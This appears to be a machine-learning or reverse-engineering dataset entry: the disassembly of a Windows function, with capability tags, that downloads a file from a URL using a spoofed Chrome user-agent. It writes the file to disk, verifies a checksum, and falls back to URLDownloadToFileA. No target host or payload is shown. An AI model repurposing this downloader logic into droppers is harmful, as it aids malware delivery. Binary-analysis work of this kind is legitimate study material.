Function at 0x408960
Capabilities:
Download and write a file
Download url
Get file size
Read file on windows
Receive and write data from server to client
Receive data
Reference http user-agent string
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42109f
mov eax, dword fs:[0]
push eax
sub esp, 0x54
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, edx
mov dword [ebp - 0x4c], edi
mov esi, ecx
mov dword [ebp - 0x5c], esi
mov dword [ebp - 0x48], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x28], xmm0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0xf
mov byte [ebp - 0x28], 0
mov dword [ebp - 4], 0
cmp dword [esi + 0x10], 7
jbe 0x408a10
cmp dword [esi + 0x14], 0xf
mov eax, esi
movups xmmword [ebp - 0x40], xmm0
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 0
jbe 0x4089dd
mov eax, dword [esi]
push 7
push eax
lea ecx, [ebp - 0x40]
call fcn.00403280
mov dword [ebp - 0x48], 3
lea eax, [ebp - 0x40]
cmp dword [ebp - 0x2c], 0xf
push str.http:__
cmova eax, dword [ebp - 0x40]
push eax
call fcn.0041098b
add esp, 8
mov byte [ebp - 0x41], 0
test eax, eax
je 0x408a14
mov byte [ebp - 0x41], 1
test byte [ebp - 0x48], 1
je 0x408a4e
mov ecx, dword [ebp - 0x2c]
cmp ecx, 0xf
jbe 0x408a4e
mov edx, dword [ebp - 0x40]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x408a44
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4090f9
push ecx
push edx
call fcn.004094ef
add esp, 8
cmp byte [ebp - 0x41], 0
jne 0x408e8e
mov eax, dword [esi + 0x10]
xorps xmm0, xmm0
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 0
movups xmmword [ebp - 0x40], xmm0
cmp eax, 7
jb 0x4090fe
add eax, 0xfffffff9
or ecx, 0xffffffff
cmp eax, 0xffffffff
cmovb ecx, eax
cmp dword [esi + 0x14], 0xf
mov eax, esi
jbe 0x408a8f
mov eax, dword [esi]
push ecx
add eax, 7
lea ecx, [ebp - 0x40]
push eax
call fcn.00403280
mov ecx, dword [ebp - 0x14]
cmp ecx, 0xf
jbe 0x408ad0
mov edx, dword [ebp - 0x28]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x408ac6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x409103
push ecx
push edx
call fcn.004094ef
add esp, 8
movups xmm1, xmmword [ebp - 0x40]
lea ecx, [ebp - 0x28]
movq xmm0, qword [ebp - 0x30]
movq qword [ebp - 0x18], xmm0
cmp dword [ebp - 0x14], 0xf
movd eax, xmm1
movups xmmword [ebp - 0x28], xmm1
cmova ecx, eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x48], ecx
test eax, eax
je 0x408e8e
push eax
push 0x2f
push ecx
call fcn.004204d0
add esp, 0xc
test eax, eax
je 0x408e8e
sub eax, dword [ebp - 0x48]
mov dword [ebp - 0x48], eax
cmp eax, 0xffffffff
je 0x408e8e
inc eax
push eax
call fcn.00409525
cmp dword [ebp - 0x14], 0xf
lea ecx, [ebp - 0x28]
mov edi, dword [ebp - 0x48]
mov esi, eax
cmova ecx, dword [ebp - 0x28]
push edi
push ecx
push esi
mov dword [ebp - 0x50], esi
call fcn.0040fab0
mov byte [edi + esi], 0
mov esi, dword [ebp - 0x18]
sub esi, edi
lea eax, [esi + 1]
push eax
call fcn.00409525
cmp dword [ebp - 0x14], 0xf
lea ecx, [ebp - 0x28]
push esi
cmova ecx, dword [ebp - 0x28]
mov edi, eax
add ecx, dword [ebp - 0x48]
push ecx
push edi
call fcn.0040fab0
add esp, 0x20
mov byte [edi + esi], 0
mov esi, dword [ebp - 0x50]
lea eax, [ebp - 0x58]
mov edx, edi
push eax
lea eax, [ebp - 0x54]
push eax
push 0
push 0
push str.Mozilla_5.0__Windows_NT_6.2__WOW64__AppleWebKit_537.22__KHTML__like_Gecko__Chrome_25.0.1364.152_Safari_537.22
push ecx
mov ecx, esi
call fcn.00404440
push esi
call fcn.00409520
push edi
call fcn.00409520
mov eax, dword [ebp - 0x54]
add esp, 0x20
mov edi, dword [ebp - 0x58]
test eax, eax
je 0x408e2f
test edi, edi
je 0x408e2f
mov si, word [ebp + 8]
test si, si
je 0x408c3b
mov edx, edi
mov ecx, eax
call fcn.00408900
movzx eax, ax
mov dword [ebp - 0x48], eax
cmp ax, si
je 0x408c41
mov eax, dword [ebp - 0x54]
push eax
call fcn.00409520
mov edi, dword [0x42de5c]
add esp, 4
test edi, edi
jne 0x408c11
push 0xc8
call fcn.004094bf
add esp, 4
mov dword [ebp - 0x50], eax
mov ecx, eax
mov byte [ebp - 4], 2
call fcn.00401230
mov edi, eax
mov byte [ebp - 4], 0
mov dword [0x42de5c], edi
mov eax, dword [ebp - 0x48]
movzx ecx, ax
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
push ecx
movzx ecx, si
push ecx
push str.__37____35____4____38__0x_x___39__0x_x.__36__
push 0
call eax
push eax
push 0xfd
push 0x427c8c
push edi
jmp 0x408e80
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x48], eax
mov edi, dword [ebp - 0x4c]
mov eax, edi
cmp dword [edi + 0x14], 0xf
jbe 0x408c4e
mov eax, dword [edi]
push 0
push 0
push 2
push 0
push 1
push 0x10000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ecx, eax
mov dword [ebp - 0x50], ecx
test ecx, ecx
je 0x408dd2
cmp ecx, 0xffffffff
je 0x408dd2
push 0
lea eax, [ebp - 0x60]
push eax
push dword [ebp - 0x58]
mov eax, dword [ebp - 0x54]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
mov eax, dword [ebp - 0x60]
je 0x408d6b
cmp eax, dword [ebp - 0x58]
jne 0x408d6b
push dword [ebp - 0x54]
call fcn.00409520
add esp, 4
push dword [ebp - 0x50]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [0x42de5c]
mov dword [ebp - 0x4c], eax
test eax, eax
jne 0x408ce9
push 0xc8
call fcn.004094bf
add esp, 4
mov dword [ebp - 0x50], eax
mov ecx, eax
mov byte [ebp - 4], 5
call fcn.00401230
mov byte [ebp - 4], 0
mov dword [ebp - 0x4c], eax
mov dword [0x42de5c], eax
cmp dword [edi + 0x14], 0xf
jbe 0x408cf1
mov edi, dword [edi]
mov ecx, dword [ebp - 0x5c]
cmp dword [ecx + 0x14], 0xf
jbe 0x408cfc
mov ecx, dword [ecx]
mov eax, dword [ebp - 0x48]
movzx eax, ax
push eax
movzx eax, si
push eax
push dword [ebp - 0x58]
push edi
push ecx
push str.__22____5___s_____s___d___35___0x_x___0x_x_
push 1
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x113
push 0x427c8c
push dword [ebp - 0x4c]
call fcn.00402a00
add esp, 0x2c
mov al, 1
mov ecx, dword [ebp - 0x14]
mov byte [ebp - 0x41], al
cmp ecx, 0xf
jbe 0x4090de
mov edx, dword [ebp - 0x28]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4090d1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x409103
jmp 0x4090d1
mov esi, dword [0x42de5c]
test esi, esi
jne 0x408d9f
push 0xc8
call fcn.004094bf
add esp, 4
mov dword [ebp - 0x50], eax
mov ecx, eax
mov byte [ebp - 4], 4
call fcn.00401230
mov esi, eax
mov byte [ebp - 4], 0
mov eax, dword [ebp - 0x60]
mov dword [0x42de5c], esi
push dword [ebp - 0x58]
push eax
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
push str.__41____4____42___0x_x____34___0x_x.__36__
push 0
call eax
push eax
push 0x10b
push 0x427c8c
push esi
call fcn.00402a00
push dword [ebp - 0x54]
call fcn.00409520
add esp, 0x24
jmp 0x408e8b
mov esi, dword [0x42de5c]
test esi, esi
jne 0x408e03
push 0xc8
call fcn.004094bf
add esp, 4
mov dword [ebp - 0x50], eax
mov ecx, eax
mov byte [ebp - 4], 3
call fcn.00401230
mov esi, eax
mov byte [ebp - 4], 0
mov dword [0x42de5c], esi
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
push str.__40____4____36__
push 0
call eax
push eax
push 0x104
push 0x427c8c
push esi
call fcn.00402a00
push dword [ebp - 0x54]
call fcn.00409520
add esp, 0x1c
jmp 0x408e8b
mov esi, dword [0x42de5c]
test esi, esi
jne 0x408e60
push 0xc8
call fcn.004094bf
add esp, 4
mov dword [ebp - 0x50], eax
mov ecx, eax
mov byte [ebp - 4], 1
call fcn.00401230
mov esi, eax
mov byte [ebp - 4], 0
mov dword [0x42de5c], esi
movzx ecx, word [ebp + 8]
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
push ecx
push edi
push str.__22____18____33____4____34____d____35___0x_x.__36__
push 0
call eax
push eax
push 0xf2
push 0x427c8c
push esi
call fcn.00402a00
mov edi, dword [ebp - 0x4c]
add esp, 0x20
mov esi, dword [ebp - 0x5c]
cmp dword [esi + 0x14], 0xf
jbe 0x408e96
mov esi, dword [esi]
cmp dword [edi + 0x14], 0xf
mov eax, edi
jbe 0x408ea0
mov eax, dword [edi]
push 0
push 0
push eax
push esi
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
je 0x408f0b
mov esi, dword [0x42de5c]
test esi, esi
jne 0x408ee3
push 0xc8
call fcn.004094bf
add esp, 4
mov dword [ebp - 0x50], eax
mov ecx, eax
mov byte [ebp - 4], 6
call fcn.00401230
mov esi, eax
mov byte [ebp - 4], 0
mov dword [0x42de5c], esi
push str.__43____4__
push 0
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x119
push 0x427c8c
push esi
call fcn.00402a00
add esp, 0x18
xor al, al
jmp 0x408d31
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp word [ebp + 8], 0
je 0x408d2f
cmp dword [edi + 0x14], 0xf
jbe 0x408f29
mov edi, dword [edi]
push 0
push 0
push 3
push 0
push 1
push 0x80000000
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
test esi, esi
je 0x409088
cmp esi, 0xffffffff
je 0x409088
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
push edi
call fcn.00409525
add esp, 4
mov dword [ebp - 0x4c], eax
lea ecx, [ebp - 0x50]
push 0
push ecx
push edi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x40901f
cmp dword [ebp - 0x50], edi
jne 0x40901f
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, edi
mov edi, dword [ebp - 0x4c]
mov ecx, edi
call fcn.00408900
movzx eax, ax
push edi
mov dword [ebp - 0x4c], eax
call fcn.00409520
mov si, word [ebp + 8]
add esp, 4
mov eax, dword [ebp - 0x4c]
cmp ax, si
je 0x408d2f
mov edi, dword [0x42de5c]
test edi, edi
jne 0x408fef
push 0xc8
call fcn.004094bf
add esp, 4
mov dword [ebp - 0x48], eax
mov ecx, eax
mov byte [ebp - 4], 9
call fcn.00401230
mov edi, eax
mov byte [ebp - 4], 0
mov eax, dword [ebp - 0x4c]
mov dword [0x42de5c], edi
movzx ecx, ax
push ecx
movzx ecx, si
push ecx
push str.__37____35____4____38__0x_x___39__0x_x.
push 0
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x136
push 0x427c8c
push edi
call fcn.00402a00
add esp, 0x20
xor al, al
jmp 0x408d31
mov edi, dword [0x42de5c]
test edi, edi
jne 0x409050
push 0xc8
call fcn.004094bf
add esp, 4
mov dword [ebp - 0x48], eax
mov ecx, eax
mov byte [ebp - 4], 8
call fcn.00401230
mov edi, eax
mov byte [ebp - 4], 0
mov dword [0x42de5c], edi
push str.__4____45____21__
push 0
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x12b
push 0x427c8c
push edi
call fcn.00402a00
mov edi, dword [ebp - 0x4c]
push edi
call fcn.00409520
add esp, 0x1c
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
jmp 0x408d31
mov esi, dword [0x42de5c]
test esi, esi
jne 0x4090b9
push 0xc8
call fcn.004094bf
add esp, 4
mov dword [ebp - 0x4c], eax
mov ecx, eax
mov byte [ebp - 4], 7
call fcn.00401230
mov esi, eax
mov byte [ebp - 4], 0
mov dword [0x42de5c], esi
push str.__4____10____44____43____21__
push 0
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x122
jmp 0x408ef6
push ecx
push edx
call fcn.004094ef
mov al, byte [ebp - 0x41]
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004094b1
mov esp, ebp
pop ebp
ret
call fcn.00410479
call fcn.004030d0
call fcn.00410479
int3